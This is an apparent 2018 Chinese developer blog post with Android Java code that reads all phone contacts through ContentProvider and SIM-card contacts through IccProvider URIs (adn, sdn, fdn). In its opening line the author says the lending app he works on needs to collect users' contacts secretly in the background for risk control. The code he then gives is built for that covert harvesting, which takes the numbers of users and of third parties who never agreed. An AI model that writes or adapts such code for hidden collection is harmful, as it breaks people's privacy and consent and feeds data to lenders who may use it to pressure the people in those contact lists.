Android--获取手机联系人和Sim卡联系人

最近公司做的一个放贷APP,要求后台偷偷获取用户的联系人来做风控,所以。。。(大家忽略就好)

  1. 获取手机联系人很简单,就是查询android的数据库,用到的是ContentProvider进行跨进程通讯。我就直接上代码了
    • public List<ContactsResultBean.ContactsBean> getContactInfo() throws JSONException {
              list = new ArrayList<>();
              contactData = new JSONObject();
              //联系人的Uri,也就是content://com.android.contacts/contacts
              Uri uri = ContactsContract.Contacts.CONTENT_URI;
              //指定获取_id和display_name两列数据,display_name即为姓名
              String[] projection = new String[]{
                      ContactsContract.Contacts._ID,
                      ContactsContract.Contacts.DISPLAY_NAME
              };
              //根据Uri查询相应的ContentProvider,cursor为获取到的数据集
              Cursor cursor = context.getContentResolver().
                      query(uri, projection, null, null, null);
      
              int i = 0;
              if (cursor != null && cursor.moveToFirst()) {
                  do {
                      Long id = cursor.getLong(0);
                      //获取姓名
                      String name = cursor.getString(1);
                      //指定获取NUMBER这一列数据
                      String[] phoneProjection = new String[]{
                              ContactsContract.CommonDataKinds.Phone.NUMBER
                      };
      
                      //根据联系人的ID获取此人的电话号码
                      Cursor phonesCusor = context.getContentResolver().query(
                              ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
                              phoneProjection,
                              ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=" + id,
                              null,
                              null);
      
                      //因为每个联系人可能有多个电话号码,所以需要遍历
                      if (phonesCusor != null && phonesCusor.moveToFirst()) {
                          do {
                              String num = phonesCusor.getString(0);
      
                              contactsBean = new ContactsResultBean.ContactsBean();
                              contactsBean.setName(name);
                              contactsBean.setPhone(num);
                              contactsBean.setNote("");
      
                              list.add(contactsBean);
                              jsonObject = new JSONObject();
                              contactData.put("contact" + i, jsonObject);
      
                          } while (phonesCusor.moveToNext());
                      }
                      i++;
                  } while (cursor.moveToNext());
              }
      
              // 获取sim卡的联系人--1
              try {
                  getSimContact("content://icc/adn", list);
      
                  getSimContact("content://icc/adn/subId/#", list);
      
                  getSimContact("content://icc/sdn", list);
      
                  getSimContact("content://icc/sdn/subId/#", list);
      
                  getSimContact("content://icc/fdn", list);
      
                  getSimContact("content://icc/fdn/subId/#", list);
      
              } catch (Exception e) {
                  Log.d("提现啦:", e.getLocalizedMessage());
              }
              return list;
          }

       

  2、查询Sim上的联系其实也很简单,也是扫描android数据库里面存的值,也是通过ContentProvider,但是因为涉及到有的手机可能是双卡双待,还有移动、电信、联通这三种手机卡,所以可能就有问题了。

    这里我知道android framework本身提供了一个这样的provider(IccProvider.java),所以我们就按照google的来吧。使用ContentProvider最重要的就是路由要准确,所以我们先来看看IccProvider里面给我提供的路由。

    • 先来看看IccProvider给我们提供的路由。

 

    同样也是返回给我们游标,我们自己从游标里面取值。

    下面是游标取值的代码

    

    private void getSimContact(String adn, List<ContactsResultBean.ContactsBean> list) {
        // 读取SIM卡手机号,有三种可能:content://icc/adn || content://icc/sdn || content://icc/fdn
        // 具体查看类 IccProvider.java
        Cursor cursor = null;
        try {
            Uri uri = Uri.parse(adn);
            LogUtils.e(uri.toString());
            cursor = context.getContentResolver().query(uri, null,
                    null, null, null);
            if (cursor != null) {
                while (cursor.moveToNext()) {
                    // 取得联系人名字
                    int nameIndex = cursor.getColumnIndex("name");
                    // 取得电话号码
                    int numberIndex = cursor.getColumnIndex("number");
                    String number = cursor.getString(numberIndex);// 手机号
                    LogUtils.d("手机号:" + number);
                    if (isUserNumber(number)) {// 是否是手机号码
                        ContactsResultBean.ContactsBean simCardTemp = new ContactsResultBean.ContactsBean();
                        simCardTemp.setPhone(formatMobileNumber(number));
                        simCardTemp.setName(cursor.getString(nameIndex));
                        if (!list.contains(simCardTemp)) {
                            list.add(simCardTemp);
                        }
                    }
                }
                cursor.close();
            }
        } catch (Exception e) {
            LogUtils.e(e);
            if (cursor != null) {
                cursor.close();
            }
        }
    }

经过测试时可以去到sim卡上的联系人的

posted @ 2018-07-13 15:37  灬布衣丶公爵丨  阅读(3535)  评论(0编辑  收藏  举报